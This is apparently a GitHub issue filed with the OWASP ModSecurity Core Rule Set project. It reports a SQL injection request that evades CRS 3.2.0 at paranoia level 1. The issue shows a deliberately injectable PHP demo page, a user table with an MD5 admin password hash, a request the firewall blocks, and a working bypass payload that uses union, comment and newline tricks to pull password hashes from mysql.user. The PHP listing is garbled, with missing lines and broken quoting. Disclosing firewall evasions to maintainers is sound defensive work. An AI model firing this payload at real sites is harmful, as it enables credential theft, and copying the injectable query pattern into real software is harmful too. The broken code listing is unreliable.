☐ SpiderLabs / owasp-modsecurity-crs Public archive

<> Code ⊙ Issues 39 \$\cap \text{Pull requests} 9 ⊕ Actions ⊞ Projects □ Wiki

SQLi bypass at PL1(CRS 3.2.0) #1727

(⊙ Open) seedis opened this issue on Mar 28, 2020 · 1 comment

Labels

False Negative - Evasion

```
seedis commented on Mar 28, 2020 • edited 🕶
Description
Fuzz found that the following request can bypass modesecurity rules and implement SQLi injection.
sample code: user.php (id parameter has SQL injection security issues)
  <?php
echo "<head><title>SQL injection demo</title></head>";
  $id=$_GET['id'];
$conn=new mysqli('127.0.0.1','root','root','test');
         die("Error to connect database!");
         $sql="select username from user where id={$id}";
         echo "$sql"."</br></br>;
$res=$conn->query($sql);
         else{
                       echo "<b>error</b>";
  2>
Database table contents:
  Reading table information for completion of table and column names
  You can turn off this feature to get a quicker startup with -A
  Database changed
  mysql> select * from user;
  | id | username | passwd
  1 | admin | 21232f297a57a5a743894a0e4a801fc3 |
  3 rows in set (0.00 sec)
The request is as follows:
Normal request
  http://127.0.0.1/user.php?id=1
                 C ☆ 127.0.0.1/user.php?id=1
```

Hello admin, having a good day!

evil request:

id=1 and 1=1 (blocked by CRS)

← → C ☆ ③ 127.0.0.1/user.php?id=1%20and%201=1

403 Forbidden

nginx/1.16.1

request(bypass CRS3.2.0) for SQL injection:

http://127.0.0.1/user.php?id=@.:=right(right((select authentication_string from mysql.user limit 0,1),1111),1111) union%23%0adistinctrow%0bselect@.

